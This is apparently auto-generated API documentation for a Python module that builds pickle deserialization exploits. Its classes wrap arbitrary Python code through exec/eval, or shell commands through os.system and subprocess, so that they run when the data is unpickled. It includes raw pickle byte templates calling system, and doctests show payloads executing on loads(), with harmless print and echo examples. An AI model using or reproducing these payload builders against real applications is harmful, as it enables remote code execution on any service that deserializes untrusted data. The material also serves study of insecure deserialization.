| | |
- builtins.object
-
- PickleExploit
-
- PyPickleExploit
- ShellPickleExploit
- Templates
class PickleExploit(builtins.object) |
| |
PickleExploit(function: collections.abc.Callable, args: list)
This class build a custom pickle exploit.
>>> exploit = PickleExploit(print, ["je test", "test2"])
>>> exploit.build()
>>> exploit.functionnal_payload
(<built-in function print>, ('je test', 'test2'))
>>> exploit_pickled = dumps(exploit)
>>> exploit_unpickled = loads(exploit_pickled)
je test test2
>>> exploit_pickled = exploit.get_pickle_payload()
>>> exploit.execute_payload()
je test test2
>>> exploit.execute_payload(exploit_pickled)
je test test2
|
| |
Methods defined here:
- __init__(self, function: collections.abc.Callable, args: list)
- Initialize self. See help(type(self)) for accurate signature.
- __reduce__(self)
- Helper for pickle.
- build(self) -> None
- This function build the tuple exploit.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit.functionnal_payload
(<built-in function print>, (b'je test', 'test2'))
- execute_payload(self, payload: <function NewType.<locals>.new_type at 0x0000029B757F4940> = None) -> ~ObjectOrNone
- This function execute the payload
and return the loaded object.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> exploit.execute_payload()
b'je test' test2
>>> exploit_pickled = dumps(exploit)
>>> exploit.execute_payload(exploit_pickled)
b'je test' test2
- get_pickle_payload(self, protocol: int = 0) -> bytes
- This function return the pickle payload.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> loads(exploit_pickled)
b'je test' test2
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
|
class PyPickleExploit(PickleExploit) |
| |
PyPickleExploit(string_code: str, *args, function=<built-in function exec>)
This class is a PickleExploit to execute
python code.
string_code: is a str and must be python code
args: must be optional argument for function
function: [OPTIONAL, default=exec] the function to call
python code (exec, eval, ...)
>>> pyexploit = PyPickleExploit("print('je test', 'test2')", { "print": print }, { "print": print })
>>> pyexploit.build()
>>> pyexploit.functionnal_payload
(<built-in function exec>, ("print('je test', 'test2')", {'print': <built-in function print>}, {'print': <built-in function print>}))
>>> exploit_pickled = pyexploit.get_pickle_payload()
>>> pyexploit.execute_payload()
je test test2
>>> pyexploit.execute_payload(exploit_pickled)
je test test2
>>> pyexploit = PyPickleExploit("print(b'je test', 'test2')", { "print": print }, { "print": print }, function=eval)
>>> pyexploit.build()
>>> pyexploit.functionnal_payload
(<built-in function eval>, ("print(b'je test', 'test2')", {'print': <built-in function print>}, {'print': <built-in function print>}))
>>> exploit_pickled = pyexploit.get_pickle_payload()
>>> pyexploit.execute_payload()
b'je test' test2
>>> pyexploit.execute_payload(exploit_pickled)
b'je test' test2
|
| |
- Method resolution order:
- PyPickleExploit
- PickleExploit
- builtins.object
Methods defined here:
- __init__(self, string_code: str, *args, function=<built-in function exec>)
- Initialize self. See help(type(self)) for accurate signature.
Methods inherited from PickleExploit:
- __reduce__(self)
- Helper for pickle.
- build(self) -> None
- This function build the tuple exploit.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit.functionnal_payload
(<built-in function print>, (b'je test', 'test2'))
- execute_payload(self, payload: <function NewType.<locals>.new_type at 0x0000029B757F4940> = None) -> ~ObjectOrNone
- This function execute the payload
and return the loaded object.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> exploit.execute_payload()
b'je test' test2
>>> exploit_pickled = dumps(exploit)
>>> exploit.execute_payload(exploit_pickled)
b'je test' test2
- get_pickle_payload(self, protocol: int = 0) -> bytes
- This function return the pickle payload.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> loads(exploit_pickled)
b'je test' test2
Data descriptors inherited from PickleExploit:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
|
class ShellPickleExploit(PickleExploit) |
| |
ShellPickleExploit(command: str, *args, function=<built-in function system>)
This class is a PickleExploit to execute
command line.
command: is a str and must be a command line
args: must be optional argument for function
function: [OPTIONAL, default=os.system] the function
to execute the command line (os.system, os.popen,
subprocess.run, ...)
>>> shellexploit = ShellPickleExploit('echo "je test"')
>>> shellexploit.build()
>>> shellexploit.functionnal_payload
(<built-in function system>, ('echo "je test"',))
>>> exploit_pickled = shellexploit.get_pickle_payload()
>>> shellexploit.execute_payload()
0
>>> shellexploit.execute_payload(exploit_pickled)
0
>>> shellexploit = ShellPickleExploit('netstat -h', function=subprocess.run)
>>> shellexploit.build()
>>> shellexploit.functionnal_payload[1]
('netstat -h',)
>>> exploit_pickled = shellexploit.get_pickle_payload()
>>> process = shellexploit.execute_payload()
>>> process.returncode
1
>>> process = shellexploit.execute_payload(exploit_pickled)
>>> process.returncode
1
|
| |
- Method resolution order:
- ShellPickleExploit
- PickleExploit
- builtins.object
Methods defined here:
- __init__(self, command: str, *args, function=<built-in function system>)
- Initialize self. See help(type(self)) for accurate signature.
Methods inherited from PickleExploit:
- __reduce__(self)
- Helper for pickle.
- build(self) -> None
- This function build the tuple exploit.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit.functionnal_payload
(<built-in function print>, (b'je test', 'test2'))
- execute_payload(self, payload: <function NewType.<locals>.new_type at 0x0000029B757F4940> = None) -> ~ObjectOrNone
- This function execute the payload
and return the loaded object.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> exploit.execute_payload()
b'je test' test2
>>> exploit_pickled = dumps(exploit)
>>> exploit.execute_payload(exploit_pickled)
b'je test' test2
- get_pickle_payload(self, protocol: int = 0) -> bytes
- This function return the pickle payload.
>>> exploit = PickleExploit(print, [str.encode("je test"), "test2"])
>>> exploit.build()
>>> exploit_pickled = exploit.get_pickle_payload()
>>> loads(exploit_pickled)
b'je test' test2
Data descriptors inherited from PickleExploit:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
|
class Templates(builtins.object) |
| |
Templates(type_: str, payload: str, function: collections.abc.Callable = <built-in function exec>, target_system: str = 'nt')
This class implement constant to build
custom pickle exploit based on templates
- PYTHON_PICKLE_EXPLOIT: to build python code exploit
- SHELL_PICKLE_EXPLOIT: to build command line exploit
- type_: must be "python" or "shell"
- payload: python code or command line to execute
- function: must be exec or eval (but all builtins can be use)
- target_system: must be a os.name ("nt" or "posix")
>>> templated_pickle = Templates("python", "print('PAYLOAD')")
>>> loads(templated_pickle.build())
PAYLOAD
|
| |
Methods defined here:
- __init__(self, type_: str, payload: str, function: collections.abc.Callable = <built-in function exec>, target_system: str = 'nt')
- >>> templated_pickle = Templates("python", "print('PAYLOAD')", function=eval)
>>> loads(templated_pickle.build())
PAYLOAD
- build(self) -> bytes
- This function build exploit and return it.
>>> templated_pickle = Templates("python", "PAYLOAD", function=print)
>>> loads(templated_pickle.build())
PAYLOAD
>>> templated_pickle = Templates("shell", "echo a")
>>> loads(templated_pickle.build())
0
>>> templated_pickle = Templates("shell", "echo a", target_system="posix")
>>> print(templated_pickle.build().decode())
cposix
system
p0
(Vecho a
p1
tp2
Rp3
.
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
Data and other attributes defined here:
- PYTHON_PICKLE_EXPLOIT = b'c__builtin__\nFUNCTION\np0\n(VPAYLOAD\np1\ntp2\nRp3\n.'
- SHELL_PICKLE_EXPLOIT = b'cSYSTEM\nsystem\np0\n(VPAYLOAD\np1\ntp2\nRp3\n.'
| |